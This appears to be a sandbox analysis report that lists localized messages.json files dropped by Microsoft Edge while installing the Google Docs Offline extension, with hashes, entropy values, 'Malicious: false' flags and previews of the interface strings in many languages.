SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1119855910\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1119855910\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1119855910\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1119855910\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1119855910\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1119855910\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1119855910\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1119855910\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1119855910\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1119855910\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1119855910\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1119855910\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1119855910\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1119855910\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1119855910\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1119855910\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1119855910\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1119855910\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
